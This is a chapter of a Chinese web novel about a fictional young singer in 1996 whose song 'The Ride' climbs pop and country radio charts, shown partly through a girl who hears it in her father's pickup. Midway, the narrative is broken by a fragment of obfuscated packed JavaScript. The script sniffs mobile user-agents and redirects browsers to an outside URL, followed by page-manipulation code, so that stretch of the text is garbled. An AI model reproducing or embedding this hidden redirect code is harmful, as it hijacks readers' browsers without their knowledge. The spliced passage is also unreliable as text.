这是多拉第一百次后悔自己没有带耳机，当然，只是夸张说法，并没有真的一百次。她只是受够了父亲又把电台调到了那该死的乡村频道……


    “你就不能换个频道听？这么多年了难道不会腻吗！”


    每次父亲送她去学校，坐上这辆皮卡，她就要被迫听一路那些无趣的、慢悠悠的乡村民谣，对于喜欢摇滚和舞曲的多拉来说简直就是酷刑！


    但跑又跑不掉，只能发出一些没有意义的抱怨。


    果然，对自己品味非常有自信的父亲丝毫不准备调整，还嘟嘟囔囔地小声抱怨：“你根本不懂真正的音乐……”


    “真正的音乐？你说的是那种每首歌都在哭诉我的车坏了、老婆跑了、狗死了，但是没关系，只要有啤酒我的人生就不会完蛋的音乐？”多拉毫不惯着他，辛辣地吐出一长串评价，堵得父亲哑口无言。


    “又不是所有的民谣都是那样……也有好听的啊……而且你听得那些不是也很吵吗……算了……我吵不过你。”


    但哪怕品味被贬低成这样，他也坚持不换频道。


    多拉受不了他，只能在钢琴声又一次响起时翻了个大大的白眼。


    她不耐烦地降下车窗，让风顺着窗口呼啸着灌进来，好让自己少受点折磨。


    说真的，有些歌她都不想说，真的不是破锣嗓子吗？


    然而接下来响起的却不是那些耳朵要听出茧的“醇厚”嗓音，而是一个清澈的、带着少年人特有透亮质感的嗓音。


    “Icanalmostfeelit……”


    清亮、圆润。


    在第一秒就轻松抓住人的耳朵。


    嗯？


    这次好像不太一样？


    “哦，这是这周的新歌，听起来不错，昨天我还打电话问电台怎么不多放几次呢。”一有音乐，父亲又支楞起来，手指在方向盘上打着节拍。他没注意到女儿的反应，兴致勃勃地用他那沙哑的嗓子不成调地哼唱着。


    “特别适合开车听，我觉得你肯定会喜欢。”


    “我才不会。”


    话虽如此，但多拉却不受控制地悄悄竖起耳朵。


    歌曲平稳地推进着，鼓点轻轻加入，如同心跳的节拍。


    “EveryturnI’mtaking,


    EveryroadIchoose,


    Leavesmesecond-guessing,


    LikeI’mborntolose.”


    简单的吉他拨弦，这个干净又带着点韧劲的男声唱着略带忧愁的旋律。歌词简单，却莫名让多拉能轻易地感受到对方的情绪。那种犹豫、那种困惑、那种不知如何是好的迷茫，让她不自觉地就开始联想起自己的生活。那些也正是她所面临的困境。


    然而当副歌来临的那一刻，所有的乐器仿佛约好了一般，骤然变得明亮而开阔！


    “ButI——Iwon’tstopmatching”


    Gottachasethathorizonline!”


    那歌声也拔高、变得充满力量，不再是低吟浅唱，而是一种坚定的宣告。


    “总会有下一段征程，


    总会有更远的路要行，


    有时车轮会渐渐停滞，


    但我绝不会停下脚步！”


    旋律层层攀升，充满了昂扬的斗志和乐观的情绪。它不像多拉常听的摇滚和舞曲那样轰炸耳朵，给人强烈的刺激感，却有一种民谣特有的、直抵人心的推动力。


    恰好走在一段无人的街区，父亲的车开得飞快。


    公路笔直地向前延伸，两旁的树木快速后退。风吹过手臂，阳光洒在方向盘上，伴随着那清亮的、层层递进的歌声，整条公路仿佛都跟着旋律变得明亮起来。


    多拉的嘴角不自觉地扬起，无意识地用脚尖打着拍子，心情像被鼓满了风帆。


    所有琐碎的烦恼都被这旋律和清风一同带走了。


    它让你相信，眼前的坡道根本不算什么，就有更美的风景。这不是一首吵闹的歌，却能让人的心情跟着它的节奏。


    一路向上，向上。


    在歌曲进行到最后的高潮部分，重复唱起还有更远的路要走时，多拉突然也跟着一起哼了一句：“It’sallabouttheride～”


    唱完，她自己都愣了一下。


    见鬼，我到底什么时候记下的歌词？她的动作猛地僵住，但已经来不及了，正好被父亲抓个正着。


    “哈！我就说你会喜欢吧！”


    多拉嘴硬道：“我才没有！”


    真的没有吗？


    哪怕多拉不想承认，但是她确实不讨厌。甚至走在学校长廊时，脑子里都开始不受控制地回放起这首歌的hook……天呐！完全忘不掉！这首歌到底对她的脑子做了什么！


    更可怕的是，就连在等朋友一起放学时，好朋友在整理背包时无意间哼出的曲调也是那么熟悉。


    多拉怀疑自己听错了：“你哼的是什么歌？”


    “歌？哦，我不知道，我就是路上听到然后就记住了，还挺好听的！而且不知道为什么，我总觉得唱歌的人肯定很年轻。这么好听的声音，不知道他本人长什么样，真好奇！”


    好朋友兴致勃勃地询问：“你知道这首歌叫什么吗？”


    多拉：“……我不知道。”


    但她选择了屈服：“但或许我们可以一起去查查看。”


    这样的场景不仅仅只发生在德克萨斯，也发生在美国各个城市。


    ——


    2月底的纽约，空气中还带着冬日的凉意，却无法阻挡一首新歌的热浪席卷而来。


    轻快的节奏、洗脑的副歌，还有朗朗上口的旋律，让《TheRide》在刚刚登上纽约Z100电台时，便瞬间抓住了听众的心弦。


    要知道Z100不仅是纽约音乐市场的霸主，也是全美最具影响力和标志性的热门电台之一。它的信号覆盖度极强，包括从纽约到新泽西的大片区域，触及数百万听众。作为行业的风向标，一举一动更是能左右流行趋势。


    在这里崭露头角，就相当于握住了通往BillboardHot100榜单的通行证。


    而凭借着Jive唱片与电台的良好关系，以及歌曲本身过硬的质量，《TheRide》听众点播电话远超预期！排名在一周内持续攀升，从50名外一路闯进前20，并在首周结束前将名次锁定在了第19名！


    新人！


    首周！


    第19名！


    这简直是梦幻般的开局！


    宣传团队紧绷的神经终于稍稍松弛。


    谢天谢地，在后街男孩遭遇滑铁卢后，要是阿尔文也表现不佳，那他们就干脆洗洗睡吧。也别做梦什么能不能改变美国音乐市场格局了，直接接受索尼的收购就行。


    连克利夫对着电台高层吹嘘的那句“下一个惠特尼·休斯顿”都仿佛镀上了一层金光，变得愈发耀眼，且具有说服力。


    没有吹嘘像迈克尔·杰克逊是因为阿尔文明确表示了自己不跳舞，哪怕他会，为此克利夫还好一阵失望。


    英俊的男孩跳着帅气的舞蹈，OMG，他都不敢想象那该有多赚钱！


    哪怕后街的成绩还是没有起色，他也舍不得放弃搞唱跳组合，阿尔文不愿意，但他或许可以找几个同样漂亮的男孩女孩们来跳啊。


    当然，这是题外话。


    在流行电台的好成绩让jive无比兴奋，但命运总爱在你以为一切已定之时，抛来一个超级……


    惊喜！


    是的，超级惊喜！不是惊吓！


    在流行电台的战场上这首单曲已初战告捷，可谁能想到在乡村电台的领地，《TheRide》的表现居然同样精彩！


    这完全超出了Jive唱片的预期！


    他们公司的人脉和资源只集中在流行与嘻哈上，或许还有点R&B，但乡村就完全是两眼一抹黑，毫无关系，这次的宣发资源和预期也都集中在Pop电台。


    所以当纳什维尔的田纳西电台，以及北部如波士顿、布法罗等等这样极其权威的乡村电台也对《TheRide》表现出强烈兴趣时，jive唱片差点没接住天降资源。


    好在卡拉格及时现身。或者说，这一切的幕后英雄正是这位传奇人物。


    jive在乡村领域是门外汉，没什么资源，但卡拉格可不是，这才是他的舒适区。在提前拿到样品demo后，他便一直在全国到处巡飞、拿着阿尔文的专辑和资料，游走于关键电台的节目总监和音乐总监之间，凭借着天生的说服力和人脉，硬生生将歌曲塞进播放列表。


    这个工作极度依赖口才与魅力，而卡拉格恰好是这方面天生的王者。


    不同于面向大众的CHR流行电台，乡村电台拥有自己铁杆的听众群和浓厚的地域色彩。


    1996年，正是乡村音乐商业化浪潮的巅峰，加拿大女歌手仙妮亚·唐恩的大胆跨界尝试让人眼前一亮，而加斯·布鲁克斯的传统风味又保留了原本的基调，二者相互结合，正将这个市场推向又一个高峰。


    《TheRide》精准踩中了这股风口。


    钢琴和吉他的清脆音色与叙事感的旋律完美交织，再加上歌词里不断前行的励志主题，刚好符合时代蓬勃的励志需求。还有层层递进的副歌和情绪，让人不自觉地就沉浸在歌手所塑造的氛围里。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16185451|180813||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >它不只俘获了南部的传统乡村乐迷，还征服了都市和北部的潮流听众。再加上卡拉格这位专业人士的背书，绝大多数乡村电台都愿意给他一个相当好的推荐位。


    “看看吧，他们是怎么夸你的！”


    卡拉格得意地将一沓刚从传真机里吐出来，还带着温热的纸张递给阿尔文。


    这些都是从全国各地发来的电台统计数据，还有乐评机构的抢先热评。


    “我已经看过了。”这两天阿尔文已经将那些更新的报刊评论反复看了又看。


    最初几天，每一次看到那些将他与巨星并列的溢美之词，都会让他耳根发热、脸红心跳，但看多了这种感觉便略有褪色。


    不过没人会嫌夸奖多，阿尔文还是不自觉地接过。


    “真的吗？”卡拉格不置可否，指了指标题：“你看看这是哪家报纸。”


    “哪家？”阿尔文不明白。


    他低头去看，视线迅速扫过标题和加粗的引语，在看到那个熟悉的名字后，瞳孔不受控制地放大，终于知道卡拉格要他看什么了。


    “R&R？！！！！”


    R&R，这可是R&R！《电台与唱片》！


    作为广播和音乐行业的圣经，电台与唱片的榜单排名就是硬通货，是衡量一首歌成败的终极标尺。而现在，他的歌正处于R&R乡村榜上，还是一个相当靠前的位置！


    “上帝啊，这……这真是不可思议。”他轻声说，指尖划过纸上那一连串不断递增的数字，心跳不断加速，哪怕尽力克制，也压不住疯狂上扬的嘴角。


    白纸黑字印证着他的音乐正跨越无形的界限，闯入一片他曾经幻想过，却没想到真的能够大放异彩的天地。


    他喜欢自己的音乐，他爱这个，他也期待过拥有令人惊艳的成绩，但是当这一天真的来临时，还是让阿尔文的大脑有些发蒙。


    这些都是真的吗？


    还是我在做梦？


    卡拉格对阿尔文那副恍然如梦的反应颇为受用。他这段时间东奔西走，身体比之前疲惫了很多，但精神却更加昂扬，甚至可以说得上一句容光焕发。


    “小子，这才只是个开头，这样的日子以后还多着呢！”


    他掸了掸烟灰，得意洋洋地吹嘘着自己说服电台的故事：“知道我怎么让那些电台总监答应的吗？我告诉他们，你会是下一个仙妮亚·唐恩！哈！还真别说，这招牌真是太好用了！”


    “纳什维尔那帮耳朵挑得要死的老家伙一听这个就全坐直了！再瞧瞧你的年纪，翻翻你的资料，个个眼里放光，一个个满意得不得了！”


    “仙妮亚·唐恩？”阿尔文被那夸张的表达逗笑。


    他挑起眉，想起不久前克里夫·戴维斯那句“下一个惠特妮·休斯顿”的豪言，忍不住无语地摇摇头：“你们推销人的时候难道用的都是同一招吗？”


    但他只是调侃，实际没有半分真正的埋怨。


    拜托！那可是惠特尼·休斯顿和仙妮娅·唐恩！


    两个都是阿尔文非常非常喜欢的歌手，尤其是仙妮娅·唐恩，她去年发行的《Anymanofmine》已经被他重复播放过无数遍。


    能够和这两位放在一起并排比较，他怎么可能会生气？只会偷着乐，半夜睡觉都要笑醒的！


    卡拉格自然能听出来小孩口气里隐隐的得意，哈哈大笑起来：“借个名号怎么了？这圈子里谁不想捧出个新星？只要你有这个实力，哪怕找到本人让他们给你推荐也不是做不到！”


    诚然能获得大力支持是因为他的面子，但阿尔文本身的天才也不可忽视。


    如果只拿着《TheRide》这首歌去要推荐位，未必所有人都会买单，但是加上专辑里其他质量同样优秀的几首歌，还有全部原创的标签，只能说没有人会拒绝在一个天才的成长期卖给他一个人情。


    他说电台那些老家伙两眼放光可不是开玩笑。


    更何况在相对封闭的乡村民谣领域，听来听去都是那几个人多没意思，谁不乐意看到又一颗乡村新星升起呢？懂得借力本身就是一种了不起的智慧。


    “那真是太疯狂了……”阿尔文喃喃道。


    事实上，卡拉格后面说了什么他一个字都没听进去。经纪人的声音变成模糊的背景音，他只知道兴奋了。


    谁能抵抗成功带来的纯粹喜悦呢？


    惊喜如同层层推进的浪潮，一浪高过一浪，终于累积成歌曲中那段绚烂爆发的高潮。但是阿尔文并不满足，千言万语复杂的情绪汇聚成同一个念头。


    他在心底虔诚地祈祷。


    继续吧。


    就这样继续吧。


    让这美妙的一切永远不要停下。


    但事实会如此吗？